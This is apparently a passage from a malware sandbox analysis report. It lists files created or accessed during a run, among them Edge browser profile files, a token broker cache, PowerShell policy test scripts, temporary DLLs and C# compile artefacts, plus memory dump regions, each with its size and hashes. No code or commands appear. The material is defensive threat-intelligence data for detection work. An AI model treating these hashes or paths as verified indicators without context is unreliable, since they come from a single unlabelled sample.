2f47deb1fc99bea615ab5612f8f3f462

SHA1
fae517c88b20361723703760a979ce5f2eafa3be

SHA256
ae12dd88b2186d84bfc3fc96c096f013003133c66af9d7cea656f33689afd676

SHA512
38da6cc0ee2722552d79836b0a17e47dcba23103067919e2e12c65d0a41fa0b63e78791d3cc41eab6a2243f6ccea6b7dcb0f0dac6f8506bc6c64a32f617548af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig

Filesize
19KB

MD5
41c1930548d8b99ff1dbb64ba7fecb3d

SHA1
d8acfeaf7c74e2b289be37687f886f50c01d4f2f

SHA256
16cee17a989167242dd7ee2755721e357dd23bcfcb61f5789cc19deafe7ca502

SHA512
a684d61324c71ac15f3a907788ab2150f61e7e2b2bf13ca08c14e9822b22336d0d45d9ff2a2a145aa7321d28d6b71408f9515131f8a1bd9f4927b105e6471b75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
54KB

MD5
e7ebfc2d50daa984991327ea53acd33c

SHA1
8d2b774ffe469b703ca2fa54cb149894958670a4

SHA256
6e228837910dbc7ab34ef9e0bb8d963f81b4728c4b1c5b34cb068143b906566d

SHA512
c0e1f1723c9e4f7d31c889d927c56c5f1147a0ef3a07497b5c547db211cb68333f2ea844104c5266fb5d65c7457fc5ca15d7d4028eb7faa368ca242ef80b02df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
d3b2d5a1ccc0195322e7a7328e557c46

SHA1
616e198fd0cc55fea123c0a03ef632cacbc7ff70

SHA256
f69efcc58e24b9d2e7cac889fae16a5b4e075bbf427b4b93b9592c9705e2703f

SHA512
f7dff08c7f9e27e5aa7129b2ecd267fe2fb23e28b2a0e9f66cea89e4acdac942912cea6857920196cd89d1a4ff13606ef6c449e2e36e0c8f7b4ea97ded5cb3ad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
f4ab5c93b3b40530427cab624ad35b59

SHA1
7ac8a9a47202ca182aca986bd797267cc304722c

SHA256
40ea569810dbded5443d8acdb4fcec585788e0ca8810b8e4267228e30e6eedea

SHA512
328032bfc76f382c187529d6c11c8ea585b5e8592f795603fce7be5d7410280b95af32e47795495463831b239808be985001cd296f1548c69772df62de5697ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2025.1.17.1\keys.json

Filesize
6KB

MD5
bef4f9f856321c6dccb47a61f605e823

SHA1
8e60af5b17ed70db0505d7e1647a8bc9f7612939

SHA256
fd1847df25032c4eef34e045ba0333f9bd3cb38c14344f1c01b48f61f0cfd5c5

SHA512
bdec3e243a6f39bfea4130c85b162ea00a4974c6057cd06a05348ac54517201bbf595fcc7c22a4ab2c16212c6009f58df7445c40c82722ab4fa1c8d49d39755c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\ghbmnnjooekpmoecnnnilnnbdlolhkhi_1.fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

Filesize
152KB

MD5
dd9bf8448d3ddcfd067967f01e8bf6d7

SHA1
d7829475b2bd6a3baa8fabfaf39af57c6439b35e

SHA256
fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

SHA512
65347df34378c2bbb34417e2cccfb3251a0b2412422cc190eed9df525b6e0a9948e0295ea3c33b3ad873ce81e369e89a138ac41d6eb7229546c3269107e661de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Filesize
2KB

MD5
9ce26b22def57cfc9b0284fca6378130

SHA1
3efb940fee2d376936cf7d1949ca3a5e7c78cd10

SHA256
01989db1dbdaba51582392fe591d5d1e2dc674e5877d2ca45d17955733241ec4

SHA512
420bd64d9966cba9c18b47aa9826a095e4f5f350a2014aedd302551d17e2c940d17820d71774305898695c3c92f97136739ecf621e51e6e7b23732ba4269270b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4085d28b742d710f0464d2c3079d90e8

SHA1
3e2c425433a51c62e7d7ddcc96f7b47d11aabcf1

SHA256
6bbd5b7a24aa034c815caa34f732c313e5853b19430689b287f6429dab3de980

SHA512
08c1013d6dea57c17514862c6de5ed13356aa55d0fc9a34532ba7b2ea6d6c371adee2a5f806800124fecfeeb57469c7ee2cebd93b17268f308d88b20960d8446

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
360610af84fedef15d1f35983ecaad08

SHA1
3b1261938deeff0704f57f0db0c89ed9200d42fe

SHA256
87c7761cdffde4fa3b3101aaef36302a089216da44e7a9cf3db9ae93e4bebe56

SHA512
09fb7e3400a6d734dca4b40d8fb8df4128a19453166dc36e7a916a4ccc0d16309239f7750c8113b6a7eae884387321ce88d1cf70c9b18f1cb83d48834a96f0e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES56CB.tmp

Filesize
1KB

MD5
c8e68da9d15ad9fa284d37f238bd8d61

SHA1
ee097e65f274650cbfe0f5846edaccf942efe972

SHA256
634b6d088f7cd1f13a9dd71c2d268ca5cf59bccdf97a21ae7923c4dbf95bbab9

SHA512
015f8027acfddde9b53bc948f0351efe17674a5a888c9a7b8d81db5c8b29efea8760636a93a47627e54d8e54b7fc0b1224af607c0a9419b74d7326f549cfe935

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vzegfmka.2md.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\jna-63116079\jna5670160406326849692.dll

Filesize
248KB

MD5
34d12b1e2af72d9bb267bbc8c0d53e4a

SHA1
d9ed8776645f6b4f52df16132450863c47ea92d7

SHA256
13b2cac3f50368ab97fa2e3b0d0d2cb612f68449d5bbd6de187fc85ee4469d03

SHA512
c0a063477cf63a8b647ea721842968b506d70ea22c586a412707d7293b46c218b6a510f34b7dbedd3ed29a9d4b5dc5c6a1995403d65884b17348a9545e580a10

Download Submit
C:\Users\Admin\AppData\Local\Temp\jum5ksoo\jum5ksoo.dll

Filesize
3KB

MD5
7c196e1b5cf6937594a8dcac8e370972

SHA1
6e83659f57ff7b952e1853fbdfe201a9003669d8

SHA256
72e94572b0c59d39fdf2e432874729cae83036c14bb070b1dde3c1fb55328d3f

SHA512
22ebd753becdbfe05c8cfda337ce795cff3407e640e5888f0388355d7520c48c1fa35c62207468e49b0d6e7681a89ea877faba6d9be59ffe7b6471338dd15e28

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jum5ksoo\CSC2E1B06776C264037A3189855DD31FD9.TMP

Filesize
652B

MD5
e984b7f4cc5a430d8acf9c66166f25d9

SHA1
c1cea2c2ac61f7f399be1a7b67668629e55afa61

SHA256
02286e00efdb3f583f04f584e19ae360241db3f9e44c4e31066bb3606d8b7036

SHA512
bf3a30d2e645ecd1b20d5813edf30e8398d37f84a7969fbb1daf960c1bf925e88f8ddcf6e83a9a8ef8af274f65629c36c9c032cff337ed9f96cab3c0b2950a29

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jum5ksoo\jum5ksoo.0.cs

Filesize
393B

MD5
08efefe3875fcd7ffb420b8b8cd37cf3

SHA1
3897ca057a1e2e4e96edecb995bb9ed9612af1c5

SHA256
19244fe95a43eefd4dede9fb2d97ea0d19aaff35e116de3ea486b16730138c57

SHA512
6e6c4c7b751a54e0d816ca60fca1c7a56b7238ef34dc51ab094414fe5b7606edef414f437487610fe2bfda1cf971af7642c1b89c3edc09a0a0f73319e794ce56

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jum5ksoo\jum5ksoo.cmdline

Filesize
369B

MD5
b04f7e9efbba3a77a31a174c3103b0f6

SHA1
68c3d6c9a8dfc72026d028acfd4733c50e970f19

SHA256
220baf1597d9c68de4ce699c702099cf545c047928808431f9ffc9da4dbe3c61

SHA512
cb66159abb817f3130d15d60d45064d9bdf77d47c8eb18f2b081a33f3003b5c349dc8deababce19d8e04ca52c083eea5db9d1f859532c799bbf86916f3af6ce1

Download Submit
memory/768-868-0x0000027439DB0000-0x000002743A020000-memory.dmp

Filesize
2.4MB

Download
memory/768-81-0x0000027439DB0000-0x000002743A020000-memory.dmp

Filesize
2.4MB

Download
memory/768-85-0x0000027438530000-0x0000027438531000-memory.dmp

Filesize
4KB

Download
memory/768-87-0x0000027438530000-0x0000027438531000-memory.dmp

Filesize
4KB

Download
memory/768-2-0x0000027439DB0000-0x000002743A020000-memory.dmp

Filesize
2.4MB

Download
memory/768-858-0x0000027438530000-0x0000027438531000-memory.dmp

Filesize
4KB

Download
memory/768-855-0x0000027438530000-0x0000027438531000-memory.dmp

Filesize
4KB

Download
memory/768-22-0x0000027438530000-0x0000027438531000-memory.dmp

Filesize
4KB

Download
memory/1400-30-0x0000019F93BB0000-0x0000019F93BD2000-memory.dmp

Filesize
136KB

Download
memory/2124-78-0x00000217A5B30000-0x00000217A5B38000-memory.dmp

Filesize
32KB

Download